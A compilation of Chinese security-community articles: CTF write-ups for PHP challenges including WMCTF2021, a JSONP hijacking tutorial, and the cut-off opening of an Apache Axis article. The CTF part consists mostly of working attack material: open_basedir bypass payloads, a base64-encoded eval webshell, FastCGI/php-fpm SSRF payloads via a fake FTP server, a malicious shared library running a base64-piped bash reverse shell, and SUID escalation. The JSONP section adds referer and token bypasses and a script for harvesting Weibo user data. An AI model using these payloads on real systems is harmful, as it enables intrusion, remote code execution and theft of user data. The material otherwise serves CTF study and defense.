?backdoor=chdir("test");ini_set("open_basedir","..");chdir("..");chdir("..");chdir("..");chdir("..");ini_set("open_basedir","/");print_r(getcwd());
来到 根目录
?backdoor=chdir("test");ini_set("open_basedir","..");chdir("..");chdir("..");chdir("..");chdir("..");ini_set("open_basedir","/");print_r(substr(base_convert(fileperms("flag"),10,8),3));
//700
?backdoor=chdir("test");ini_set("open_basedir","..");chdir("..");chdir("..");chdir("..");chdir("..");ini_set("open_basedir","/");print_r(fileowner("flag"));
//0
因而 flag 是 root 所有的，而且权限是 700,
也就是说只有称为了 root 才能 读这个 flag
看看 扩展目录：
Array
(
[0] => .
[1] => ..
[2] => easy_bypass.so
[3] => opcache.so
[4] => sodium.so
)
把 easy_bypass.so 拿下来
GET /add_api.php?backdoor=chdir("test");ini_set("open_basedir","..");chdir("..");chdir("..");chdir("..");chdir("..");ini_set("open_basedir","/");readfile('/usr/local/lib/php/extensions/no-debug-non-zts-20190902/easy_bypass.so'); HTTP/1.1
Host: e573cf21-9935-49be-8a0b-66348da8eae7.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: data=O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D
Connection: close
看了一下，发现不会pwn。。。
接着看 phpinfo 搜集信息
看是 nginx + fastcgi ，读一下配置文件
# /etc/nginx/sites-available/default
server {
listen 80 default_server;
listen [::]:80 default_server;
root /var/www/html;
# Add index.php to the list if you are using PHP
index index.php index.html index.htm index.nginx-debian.html;
server_name _;
location / {
# First attempt to serve request as file, then
# as directory, then fall back to displaying a 404.
try_files $uri $uri/ =404;
}
# pass PHP scripts to FastCGI server
#
location ~ \.php$ {
root html;
fastcgi_pass 127.0.0.1:9001;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/html/$fastcgi_script_name;
include fastcgi_params;
}
}
用 `ftp://` 打 php-fpm
写一个 ftp.php
<?php
show_source(__FILE__);
@mkdir('test');
chdir("test");ini_set("open_basedir","..");chdir("..");chdir("..");chdir("..");chdir("..");ini_set("open_basedir","/");
$context = stream_context_create(array('ftp' => array('overwrite' => true)));
@var_dump(file_put_contents($_GET['url'],$_POST['payload'],0,$context));
@eval($_REQUEST['code']);
?>
base64encode 一下：
PD9waHAKc2hvd19zb3VyY2UoX19GSUxFX18pOwpAbWtkaXIoJ3Rlc3QnKTsKY2hkaXIoInRlc3QiKTtpbmlfc2V0KCJvcGVuX2Jhc2VkaXIiLCIuLiIpO2NoZGlyKCIuLiIpO2NoZGlyKCIuLiIpO2NoZGlyKCIuLiIpO2NoZGlyKCIuLiIpO2luaV9zZXQoIm9wZW5fYmFzZWRpciIsIi8iKTsKJGNvbnRleHQgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoYXJyYXkoJ2Z0cCcgPT4gYXJyYXkoJ292ZXJ3cml0ZScgPT4gdHJ1ZSkpKTsKQHZhcl9kdW1wKGZpbGVfcHV0X2NvbnRlbnRzKCRfR0VUWyd1cmwnXSwkX1BPU1RbJ3BheWxvYWQnXSwwLCRjb250ZXh0KSk7CkBldmFsKCRfUkVRVUVTVFsnY29kZSddKTsKPz4=
传上去
GET /add_api.php?backdoor=file_put_contents('ftp.php',base64_decode('PD9waHAKc2hvd19zb3VyY2UoX19GSUxFX18pOwpAbWtkaXIoJ3Rlc3QnKTsKY2hkaXIoInRlc3QiKTtpbmlfc2V0KCJvcGVuX2Jhc2VkaXIiLCIuLiIpO2NoZGlyKCIuLiIpO2NoZGlyKCIuLiIpO2NoZGlyKCIuLiIpO2NoZGlyKCIuLiIpO2luaV9zZXQoIm9wZW5fYmFzZWRpciIsIi8iKTsKJGNvbnRleHQgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoYXJyYXkoJ2Z0cCcgPT4gYXJyYXkoJ292ZXJ3cml0ZScgPT4gdHJ1ZSkpKTsKQHZhcl9kdW1wKGZpbGVfcHV0X2NvbnRlbnRzKCRfR0VUWyd1cmwnXSwkX1BPU1RbJ3BheWxvYWQnXSwwLCRjb250ZXh0KSk7CkBldmFsKCRfUkVRVUVTVFsnY29kZSddKTsKPz4=')); HTTP/1.1
远程开个 ftp 服务，试试看能不能出网：
POST /ftp.php?url=ftp://aa:[email protected]/test.txt HTTP/1.1
............
payload=hello
发现 远程主机上确实多了一个 test.txt 文件，说明可以出网
抓一下 ftp 的包看一看
据此伪造 ftp-server ，向 `127.0.0.1:9001` 发送 payload
在 远程服务器上跑：
import socket
print("[+] listening ...........")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 9999))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 (vsFTPd 3.0.3)\r\n')
print(conn.recv(0xff))
conn.send(b'331 Please specify the password.\r\n')
print(conn.recv(0xff))
conn.send(b'230 Login successful.\r\n')
print(conn.recv(0xff))
conn.send(b'200 Switching to Binary mode.\r\n')
print(conn.recv(0xff))
conn.send(b"550 Could not get file size.\r\n")
print(conn.recv(0xff))
conn.send(b'000 use PASV then\r\n')
print(conn.recv(0xff))
conn.send(b'227 Entering Passive Mode (127,0,0,1,0,9001).\r\n')
print(conn.recv(0xff))
conn.send(b'150 Ok to send data.\r\n')
# sending payload .....
conn.send(b'226 Transfer complete.\r\n')
print(conn.recv(0xff))
conn.send(b'221 Goodbye.\r\n')
conn.close()
print("[+] completed ~~")
改一改 p 神的脚本，生成 payload:
# ............
def request(self, nameValuePairs={}, post=''):
# if not self.__connect():
# print('connect failure! please check your fasctcgi-server !!')
# return
# ............
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
# 魔改start
from urllib.parse import quote
print(quote(request))
exit(0)
# 魔改end
self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
# ............
'CONTENT_LENGTH': "%d" % len(content),
'PHP_ADMIN_VALUE': 'extension = /var/www/html/evil.so',
# ............
root@ubuntu:~# python3 ~/phith0n/fpm.py -p 9001 127.0.0.1 _
%01%0133%00%08%00%00%00%01%00%00%00%00%00%00%01%0433%01%92%00%00%11%0BGATEWAY_INTERFACEFastCGI/1.0%0E%04REQUEST_METHODPOST%0F%02SCRIPT_FILENAME/_%0B%01SCRIPT_NAME_%0C%00QUERY_STRING%0B%01REQUEST_URI_%0D%01DOCUMENT_ROOT/%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9985%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP/1.1%0C%10CONTENT_TYPEapplication/text%0E%02CONTENT_LENGTH25%0F8PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0Aextension%20%3D%20/var/www/html/evil.so%01%0433%00%00%00%00%01%0533%00%19%00%00%3C%3Fphp%20phpinfo%28%29%3B%20exit%3B%20%3F%3E%01%0533%00%00%00%00
写个 恶意 .so ，上传
#define _GNU_SOURCE
#include <stdlib.h>
__attribute__ ((__constructor__)) void preload (void)
{
system("touch /var/www/html/pwned");
}
root@ubuntu:~/Scripts/php/ssrf/FPM-rce# gcc evil.c -o evil.so --shared -fPIC
from urllib.parse import quote
c = quote(open("~/php/ssrf/FPM-rce/evil.so","rb").read())
open("payload.txt","w").write(c)
POST /ftp.php?url=/var/www/html/evil.so HTTP/1.1
成功上传
访问恶意 server
成功执行 恶意 .so
改一下 evil.c ，去反弹shell
// /home/inhann/ant/evil.c
#define _GNU_SOURCE
#include <stdlib.h>
__attribute__ ((__constructor__)) void preload (void)
{
system("echo rjeaorm+JiAvZGV2RFARsgataL3RjcC80Nyafae1IDA+JjEK | base64 -d | bash");
}
成功拿到 shell
开始提权：
上传一个 搜集信息的脚本 [LinEnum](https://github.com/rebootuser/LinEnum)，运行，把结果写到 r.txt
当中：
看到 `/usr/local/bin/php` 可以 suid 提权
www-data@3aa034712807:~/html$ php -r 'chdir("test");ini_set("open_basedir","..");chdir("..");chdir("..");chdir("..");chdir("..");ini_set("open_basedir","/");readfile("/flag");'
<.");ini_set("open_basedir","/");readfile("/flag");'
flag{b68c5fa5-ca7b-4564-a7d3-6b663d238e00}
## [WMCTF2021] Make PHP Great Again And Again
复现一下最近的 WMCTF
X-Powered-By PHP/8.0.9
`phpinfo` 不能用，会 `500`
用 `get_cfg_var` 获取 config var
> get_cfg_var(string `$option`):
> [mixed](https://www.php.net/manual/zh/language.types.declarations.php#language.types.declarations.mixed)
>
> 获取 PHP 配置选项 `option` 的值。
>
> 此函数不会返回 PHP 编译的配置信息，或从 Apache 配置文件读取。
>
>
> 检查系统是否使用了一个[配置文件](https://www.php.net/manual/zh/configuration.file.php)，并尝试获取
> cfg_file_path 的配置设置的值。 如果有效，将会使用一个配置文件。
看 disable_functions ，看看哪些函数能用：
iconv_strlen
create_function
assert
call_user_func_array
call_user_func
imap_mail
mb_send_mail
file_put_contents
readfile
file_get_contents
getimagesize
unlink
stream_socket_server
看 open_basedir
/var/www/html/
看 allow_url_fopen 和 allow_url_include
allow_url_fopen => 1
allow_url_include => 0
Server: nginx/1.21.0
扫内网 端口：
<?php
for($i=0;$i<65535;$i++) {
@$t=stream_socket_server("tcp://0.0.0.0:".$i,$ee,$ee2);
if($ee2 === "Address already in use") {
var_dump($i);
}
}
http://172.19.142.114:20001/?glzjin=for%28%24i%3D0%3B%24i%3C65535%3B%24i%2B%2B%29%20%7B%40%24t%3Dstream%5fsocket%5fserver%28%22tcp%3A%2F%2F0.0.0.0%3A%22.%24i%2C%24ee%2C%24ee2%29%3Bif%28%24ee2%20%3D%3D%3D%20%22Address%20already%20in%20use%22%29%20%7Bvar%5fdump%28%24i%29%3B%7D%7D
有两个端口始终开放
int(80) int(11451)
11451 就是 php-fpm 开的端口
/?glzjin=print_r(fileowner("."));
返回 0 ，所以 /var/www/html 是 root 所有的，通过 `fileperms` 函数，得知 这个目录的 权限为 `drwxr-xr-x`
不能写文件
尝试了一下 连接远程 ftp-server，发现不能出网
可以用 stream_socket_server 伪造一个 ftp-server，然后 file_put_contents 用 `ftp://` 打
ftp-server:
<?php
$socket = stream_socket_server("tcp://0.0.0.0:9999", $errno, $errstr);
if (!$socket) {
echo "$errstr ($errno)<br />\n";
} else {
print_r("[+] listening .......\n");
while ($conn = stream_socket_accept($socket)) {
print_r("[+] catch .......\n");
fwrite($conn, "220 (vsFTPd 3.0.3)\r\n");
echo fgets($conn);
fwrite($conn, "331 Please specify the password.\r\n");
echo fgets($conn);
fwrite($conn, "230 Login successful.\r\n");
echo fgets($conn);
fwrite($conn, "200 Switching to Binary mode.\r\n");
echo fgets($conn);
fwrite($conn, "550 Could not get file size.\r\n");
echo fgets($conn);
fwrite($conn, "000 use PASV then\r\n");
echo fgets($conn);
fwrite($conn, "227 Entering Passive Mode (127,0,0,1,0,11451).\r\n");
echo fgets($conn);
fwrite($conn, "150 Ok to send data.\r\n");
// sending payload ......
fwrite($conn, "226 Transfer complete.\r\n");
echo fgets($conn);
fwrite($conn, "221 Goodbye.\r\n");
fclose($conn);
print_r("[+] completed ~~\n");
}
fclose($socket);
}
?>
本地实验成功：
先在靶机上把这个 ftp-server 跑起来
端口 扫了一下 9999 确实开着
接下来生成 打 php-fpm 的 payload
魔改一下 p 神的脚本，先修改一下 open_basedir，和 extension ，然后上传一个 恶意 扩展 .so：
'PHP_ADMIN_VALUE': 'allow_url_include = On\nopen_basedir = /\nextension = /tmp/evil.so'
root@ubuntu:~$ python -u "/Scripts/fpm_code.py" 127.0.0.1 '/var/www/html/index.php'
%01%01%B7%DE%00%08%00%00%00%01%00%00%00%00%00%00%01%04%B7%DE%02%05%00%00%11%0BGATEWAY_INTERFACEFastCGI/1.0%0E%04REQUEST_METHODPOST%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%0C%00QUERY_STRING%0B%17REQUEST_URI/var/www/html/index.php%0D%01DOCUMENT_ROOT/%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9998%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP/1.1%0C%10CONTENT_TYPEapplication/text%0E%02CONTENT_LENGTH25%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0F%40PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0Aopen_basedir%20%3D%20/%0Aextension%20%3D%20/tmp/evil.so%01%04%B7%DE%00%00%00%00%01%05%B7%DE%00%19%00%00%3C%3Fphp%20phpinfo%28%29%3B%20exit%3B%20%3F%3E%01%05%B7%DE%00%00%00%00
**注意，一次`open_basedir = /`和 `extension = /tmp/evil.so` ，便是全局的配置**
写个提权用的脚本，可能有用：
写恶意 .so
#define _GNU_SOURCE
#include <stdlib.h>
__attribute__ ((__constructor__)) void preload (void)
{
system("ls / -la > /tmp/r.txt");
system("chmod 777 /tmp/linenum.sh");
system("/tmp/linenum.sh > /tmp/r2.txt");
}
// gcc evil.c -o evil.so --shared -fPIC
因为设置 open_basedir 的时候已经设置过 `extension`，所以直接普通访问 就可以触发：
很显然要提权，读一读提权信息搜集脚本跑后得到的结果：
SUID 提权，直接用 cat 就能读 flag
改一改 恶意 扩展 .so ，加个 `cat /flag > /tmp/r3.txt`，最终得到 flag | 社区文章 |
## 前言
讲到JSONP，那么我们就要从浏览器的同源策略开始说起了。
### 浏览器的同源策略
SOP，全称为同源策略 (Same Origin
Policy)，该策略是浏览器的一个安全基石，如果没有同源策略，那么，你打开了一个合法网站，又打开了一个恶意网站。恶意网站的脚本能够随意的操作合法网站的任何可操作资源，没有任何限制。浏览器要严格隔离两个不同源的网站，目的是保证数据的完整性和机密性。
[
浏览器的同源策略规定：不同域的客户端脚本在没有明确授权的情况下，不能读写对方的资源。那么何为同源呢，即两个站点需要满足同协议，同域名，同端口这三个条件。
“同源”的定义：
域名
协议
tcp端口号
只要以上三个值是相同的，我们就认为这两个资源是同源的。
为了更好的解释这个概念，以下这张图片将利用`http://www.example.com/dir/page.html`这个url作为示例，展示在同源策略控制下不同的结果:
[
## JSONP的介绍
### 简单描述
JSONP 是 JSON with padding（填充式 JSON 或参数式 JSON）的简写。
JSONP实现跨域请求的原理简单的说，就是动态创建`<script>`标签，然后利用`<script>`的src 不受同源策略约束来跨域获取数据。
JSONP 由两部分组成：回调函数和数据。回调函数是当响应到来时应该在页面中调用的函数。回调函数的名字一般是在请求中指定的。而数据就是传入回调函数中的
JSON 数据。
动态创建`<script>`标签，设置其src，回调函数在src中设置：
var script = document.createElement("script");
script.src = "https://api.douban.com/v2/book/search?q=javascript&count=1&callback=handleResponse";
document.body.insertBefore(script, document.body.firstChild);
在页面中，返回的JSON作为response参数传入回调函数中，我们通过回调函数来来操作数据。
function handleResponse(response){
// 对response数据进行操作代码
}
### 深入研究
首先来看看同源策略到底有什么作用：当浏览器发现有一个跨域的请求，但是它在服务器的返回头中如果没有发现
`Access-Control-Allow-Origin` 值允许 <http://x.x.x.x> 的访问，那么便会将其给拦截。
那么虽然浏览器受到了同源策略的限制，不允许实现跨域访问，但是由于在开发过程中，其中的前后端的交互过程中不可避免会涉及到跨域的请求（设计同源策略的人想必也发现了这个问题），于是设计者给我们留了一个后门，就是只要服务器响应头中返回允许这个源的选项，那么跨域请求就会成功。（这里纠正一个误区，不要认为浏览器默认支持同源策略就意味着不同源的请求就不能发出去，其实还是能发出去的，只是要看响应头）
我们都知道在页面中有几个东西是对同源策略免疫的，有 `<img>` 的src 、`<link>` 的 href 还有就是`<script>`的 src ,
那么JSONP 就是利用其中的 `<script>` 标签的sec 属性实现跨区域请求的。
`<script>`标签的请求不论是不是同源一律不受同源策略的限制，那我们就找到了解决跨域访问的方法。
这里我们用一个例子来更加直观的展示：
getUser.php代码如下：
<?php
header('Content-type: application/json');
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);//获取回调函数名
//json数据
//$json_data = '["id","user"]';
$json_data='({"id":"1","name":"Aaron"})';
echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据
?>
请求该接口并加上jsoncallback=1，即访问`http://127.0.0.1/jsonp%20poc/getuser.php?jsoncallback=1`，返回值如下：
[
在返回值开头中可见1，如果我们修改callback的值为其他值，此处的返回值也会相应改变。
1.html代码如下：
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP劫持测试</title>
</head>
<body>
<script type="text/javascript">
function callbackFunction(result)
{
alert(result.name);
}
</script>
<script type="text/javascript" src="http://127.0.0.1/JSONP PoC/getUser.php?jsoncallback=callbackFunction"></script>
</body>
</html>
我们在`<script>`标签里面给出的链接是我本地服务器的一个php的代码，我给这个文件传递了一个参数，作为我要调用的函数。服务器接收到这个参数以后把它当做函数名，并给这个函数传递了一个json的值作为用户调用的函数的参数，最终实现调用。
下面是调用成功的截图
[
实际上，jquery 给我们提供了现成的接口，我们可以不用这么麻烦。
2.html代码如下：
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP劫持测试</title>
<script src="http://cdn.static.runoob.com/libs/jquery/1.8.3/jquery.js"></script>
</head>
<body>
<div id="divCustomers"></div>
<script type="text/javascript">
$.getJSON("http://127.0.0.1/JSONP PoC/getUser.php?jsoncallback=?", function(getUsers){
alert(getUsers.name);
});
</script>
</body>
</html>
[
所以整个的具体过程其实就是：
我们把回调函数给了服务器，服务器把json参数给了回来。
## JSONP劫持漏洞的学习
### JSONP劫持的原理
这里就简单的说一下：
JSONP就是为了跨域获取资源而产生的一种非官方的技术手段(官方的有 CORS 和 postMessage),它利用的是 `<script>` 标签的
src 属性不受同源策略影响的特性。
那么劫持又是怎么回事呢？其实我们在学安全的过程中对劫持这个词可以说是一点也不陌生，我们遇到过很多的劫持的攻击方法，比如：dns
劫持、点击劫持、cookie劫持等等，也正如劫持这个词的含义：“拦截挟持”，dns 劫持就是把 dns
的解析截获然后篡改，点击劫持就是截获你的鼠标的点击动作，在用户不知情的情况下点击攻击者指定的东西；cookie 劫持就是获取用户的
cookie，然后可以进一步伪造身份；那么同样， `jsonp劫持`就是攻击者获取了本应该传给网站其他接口的数据。
### JSONP劫持漏洞如何利用和它有什么危害
通过JSONP技术可以实现数据的跨域访问，必然会产生安全问题，如果网站B对网站A的JSONP请求没有进行安全检查直接返回数据，则网站B 便存在JSONP
漏洞，网站A 利用JSONP漏洞能够获取用户在网站B上的数据。
#### 1.漏洞利用过程
1）用户在网站B 注册并登录，网站B 包含了用户的id，name，email等信息；
2）用户通过浏览器向网站A发出URL请求；
3）网站A向用户返回响应页面，响应页面中注册了JavaScript的回调函数和向网站B请求的`<script>`标签，示例代码如下：>标签，示例代码如下：
<script type="text/javascript">
function Callback(result)
{
alert(result.name);
}
</script>
<script type="text/javascript" src="http://B.com/user?jsonp=Callback"></script>
4）用户收到响应，解析JS代码，将回调函数作为参数向网站B发出请求；
5）网站B接收到请求后，解析请求的URL，以JSON
格式生成请求需要的数据，将封装的包含用户信息的JSON数据作为回调函数的参数返回给浏览器，网站B返回的数据实例如下：
Callback({"id":1,"name":"test","email":"[email protected]"})
6）网站B数据返回后，浏览器则自动执行Callback函数对步骤4返回的JSON格式数据进行处理，通过alert弹窗展示了用户在网站B的注册信息。另外也可将JSON数据回传到网站A的服务器，这样网站A利用网站B的JSONP漏洞便获取到了用户在网站B注册的信息。
#### 2.利用图
[
#### 3.危害
1.攻击者利用存在漏洞的网站，将链接通过邮件等形式推送给受害者，如果受害者点击了链接，则攻击者便可以获取受害者的个人敏感的信息。所以JSONP劫持漏洞会泄露信息。
2.可能导致用户权限被盗用;
攻击者通过JSON劫持构造盗取管理员或高权限用户的脚本，一旦被访问，权限立即被盗用。
3. 可以通过劫持对网页进行挂马;
在JSON劫持点构造引向漏洞后门木马，但访问直接利用漏洞批量挂马。
4. 可对劫持页进行网站钓鱼;
利用JSON劫持直接导向伪装网站地址。
5. 可做提权攻击;
6. 变种拒绝服务攻击;
劫持后将流量导向受害网站，直接发动DDOS攻击。
### JSONP 漏洞的挖掘思路(和下面的 JSONP劫持漏洞实例 对应)
这里我采用chrome浏览器的调试窗口进行挖掘weibo.com中存在的漏洞(测试之前需要登录一下，因为我们需要检测是不是会有敏感信息泄露)
1.首先把Preserve log选项勾上，这样用来防止页面刷新跳转的时候访问记录被重置，也方便我们进行下一步的筛选。
[
2.然后 F5 刷新，进入 NetWork 标签 ，`CTRL+F` 结合 `Filter`查找一些关键词 如 callback，json
，jsonp，email **（其中筛选出来的结果对应下面的getUser.php）**
常见的关键字还有这些：
[
(1)在`Filter`中进行关键字筛选之后可以看到筛选结果：
[
(2)`CTRL + F`中进行关键字筛选之后可以看到筛选结果：
[
[
3.然后我们需要人工确认这个请求的返回值是否有泄露用户的敏感信息，并且能被不同的域的页面去请求获取，这里以上面查找到的 jsonp
为例。直接双击上面红框中的链接，页面出现以下结果：
[
4.发现并不是什么很有价值的信息，再来看看能不能被不同的域的页面请求到(也就是测试一下服务器端有没有对其验证请求来源）
**(对应下面的payload利用)**
[
发现换成了别的浏览器还是能检测到，说明验证的来源有些问题
### JSONP劫持漏洞实例(和上面的 JSONP 漏洞的挖掘思路 对应)
JSONP是一种简单的服务器与客户端跨域通信的办法，此种跨域只能发起GET请求。还有个例子可看这里：`https://blog.csdn.net/weixin_50464560/article/details/119647485`，形如其中的`?callback=hello`。这里的例子是这样：
正常情况下getUser.php中的数据，只有referer字段是`www.xxx.com`才能访问；然后这里新建一个站点`www.test.com`，在里面写入下面的PoC以此跨域获取敏感信息：
getUser.php **(对应上面filter配合ctrl+F筛选出来的结果)**
这里出现了callback他的作用就是回调我们的json。
<?php
header('Content-type: application/json');
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);//获取回调函数名
//json数据
//$json_data = '["id","user"]';
$json_data='({"id":"1","name":"Aaron"})';
echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据
?>
请求该接口并加上jsoncallback=1，即访问`http://127.0.0.1/jsonp%20poc/getuser.php?jsoncallback=1`，返回值如下：
[
在返回值开头中可见1，如果我们修改callback的值为其他值，此处的返回值也会相应改变。我们可以劫持callback参数，自己构造callback处理函数，受害者点击我们伪造的链接后，向真正的jsonp接口发起请求，请求得到数据的处理方式由我们自己的callback处理函数处理，由此可以达到劫持目的。
#### Payload利用
新建一个站点`www.test.com`：
web程序如果通过这种方式跨域之后，攻击者完全可以在自己的虚假页面中发起恶意的jsonp请求，这就引来了安全问题。比如： **(对应上面的跨域)**
1.客户端实现 callbackFunction 函数:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP劫持测试</title>
</head>
<body>
<script type="text/javascript">
function callbackFunction(result)
{
alert(result.name);
}
</script>
<script type="text/javascript" src="http://127.0.0.1/JSONP PoC/getUser.php?jsoncallback=callbackFunction"></script>
</body>
</html>
我们在`<script>`标签里面给出的链接是我本地服务器的一个php的代码，我给这个文件传递了一个参数，作为我要调用的函数。服务器接收到这个参数以后把它当做函数名，并给这个函数传递了一个json的值作为用户调用的函数的参数，最终实现调用。>标签里面给出的链接是我本地服务器的一个php的代码，我给这个文件传递了一个参数，作为我要调用的函数。服务器接收到这个参数以后把它当做函数名，并给这个函数传递了一个json的值作为用户调用的函数的参数，最终实现调用。
本地模拟受害者 访问一下`www.test.com/json.html` 弹窗。下面是调用成功的截图：
[
看一下referer：
`Referer http://www.test.com/json.html`
`getUser.php`没有对请求的referer进行限制，导致数据泄露。
如果服务器端的userinfo接口支持jsonp，那就会使虚假页面成功执行callbackFunction函数，从而导致安全问题。
2.jQuery 使用 JSONP:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP劫持测试</title>
<script src="http://cdn.static.runoob.com/libs/jquery/1.8.3/jquery.js"></script>
</head>
<body>
<div id="divCustomers"></div>
<script type="text/javascript">
$.getJSON("http://127.0.0.1/JSONP PoC/getUser.php?jsoncallback=?", function(getUsers){
alert(getUsers.name);
});
</script>
</body>
</html>
[
#### 修复
##### 限制referer：
if ($_SERVER['HTTP_REFERER']!=='http://www.xxx.com/1.html') {
exit("非法访问");
}
##### 使用token
随机的生成一段token值，每次提交表单都要检查，攻击者没有token就不能访问。
#### 绕过
针对上面两种修复方式 也都有对应的绕过方式
##### data URI 绕过 referer
`data URI`不会发送referer头，data还可以使用base64编码
##### https转到http referer
https转到http会返回一个空的referer (为了防止数据泄露)
##### 绕过token
这里有一个比较好的例子：`http://www.91ri.org/13407.html`
#### JSON劫持可能存在的点
1.Referer过滤不严谨；
2.空Referer(在通过跨协议调用JS时，发送的http请求里的Referer为空)；
3.CSRF调用json文件方式不安全，token可重复利用；
4.JSON输出的Content-Type及编码不符合标准(gb2312可能存在宽字节注入)；
5.未严格过滤callback函数名及JSON里数据的输出；
6.未严格限制JSONP输出callback函数名的长度。
#### 需要满足的条件
1.使用JSONP获取数据；
2.未检测referer字段或者验证了 referer字段，但是验证方式不严谨，如需要验证的referer字段为 www.xxx.com 域，但是
www.xxx.com.mydomain.com 同样能够绕过；
3.GET请求中不包含token相关的参数
### 自动化挖掘
如何挖掘这样的接口呢？我们可以使用Fiddler、burpsuite或者F12等方法去一个个检查，但这样很累就是了。下面介绍一种轻松的方式。
更轻松的方式：自动化测试工具Selenium + Proxy + 验证脚本
(1)Selenium：可用于自动化对网页进行测试，“到处”点击按钮、超链接，以期待测试更多的接口；
(2)Proxy：用于代理所有的请求，过滤出所有包含敏感信息的JSONP请求，并记录下HTTP请求；
(3)验证脚本：使用上述的HTTP请求，剔除referer字段，再次发出请求，测试返回结果中，是否仍包敏感信息，如果有敏感信息，说明这个接口就是我们要找的！
#### 测试
使用脚本进行测试，我以sina为例，首先需要登录sina帐号，微博或者博客都可以，然后开启浏览器代理，运行我们的脚本，最后浏览网页，就能检测出这样的JSONP接口了
[
至此发现该JSONP接口，简单写两句JS代码放到我们的网站上：
$.ajax({
url: 'https://api.weibo.com/2/{隐藏了哦}',
type: 'get',
dataType: 'jsonp',
}).done(function(json){
var id = json['data']['id'];
var screen_name = json['data']['screen_name'];
var profile_image_url = json['data']['profile_image_url'];
var post_data = '';
post_data += 'id=' + id + '&';
post_data += 'screen_name=' + screen_name + '&';
post_data += 'profile_image_url=' + encodeURIComponent(profile_image_url);
console.log(post_data);
// 发送到我的服务器上
}).fail(function() {});
很快就可以收到大波的用户信息了
[
相关的代码在Github上：[地址](https://github.com/qiaofei32/jsonp_info_leak)
#### 相关扩展
(1)既然是窃取敏感信息，那么敏感信息除了一些 email 手机号 用户名等还有什么呢？没错，甚至可以是 CSRF Token 信息，有时候在 CSRF
token 获取不到但是又找不到 XSS 的攻击点的时候不妨考虑一下 jsonp 劫持,看看会不会有惊喜
(2)还有一点，你有没有觉得这个攻击方式有点类似于 CSRF ，是的，的确很像，因此这也就引出了非常类似的修复方案。
### 如何防御
其实json劫持和jsonp劫持属于CSRF（ Cross-site request forgery
跨站请求伪造）的攻击范畴，所以解决的方法和解决csrf的方法差不多，可以参考csrf的防御。下面也介绍一些：
1、严格安全的实现 CSRF 方式调用 JSON 文件：限制 Referer 、部署一次性 Token 等。
2、严格安装 JSON 格式标准输出 Content-Type 及编码（ Content-Type : application/json;
charset=utf-8 ）。
3、严格过滤 callback 函数名及 JSON 里数据的输出。
4、严格限制对 JSONP 输出 callback 函数名的长度(如防御上面 flash 输出的方法)。
5、其他一些比较“猥琐”的方法：如在 Callback 输出之前加入其他字符(如：/**/、回车换行)这样不影响 JSON
文件加载，又能一定程度预防其他文件格式的输出。还比如 Gmail 早起使用 AJAX 的方式获取 JSON ，听过在输出 JSON 之前加入
while(1) ;这样的代码来防止 JS 远程调用。
### 参考
<http://www.mottoin.com/tech/123337.html>
<https://www.anquanke.com/post/id/97671>
<https://xiaix.me/fan-yi-wa-jue-tong-yuan-fang-fa-zhi-xing-lou-dong-same-origin-method-execution/>
<https://www.k0rz3n.com/2019/03/07/JSONP%20%E5%8A%AB%E6%8C%81%E5%8E%9F%E7%90%86%E4%B8%8E%E6%8C%96%E6%8E%98%E6%96%B9%E6%B3%95/>
<https://wooyun.js.org/drops/JS%E6%95%8F%E6%84%9F%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%EF%BC%9A%E4%B8%8D%E5%AE%B9%E5%BF%BD%E8%A7%86%E7%9A%84WEB%E6%BC%8F%E6%B4%9E.html>
<https://www.infosec-wiki.com/?p=455211>
<https://www.cnblogs.com/52php/p/5677775.html>
<http://www.91ri.org/13407.html>
<https://www.freebuf.com/articles/web/70025.html> | 社区文章 |
**作者：Longofo@知道创宇404实验室
日期：2021年2月26日**
Apache
Axis分为Axis1（一开始就是Axis，这里为了好区分叫Axis1）和Axis2，Axis1是比较老的版本了，在Axis1[官方文档](http://axis.apache.org/axis/java/index.html)说到，Apache
Axis1现在已经很大程度被[Apache Axis2](http://axis.apache.org/axis2/java/core/)，[Apache
CXF](http://cxf.apache.org/)和[Metro](http://metro.java.net/)取代，但是，Axis1仍与以下类型的项目相关：
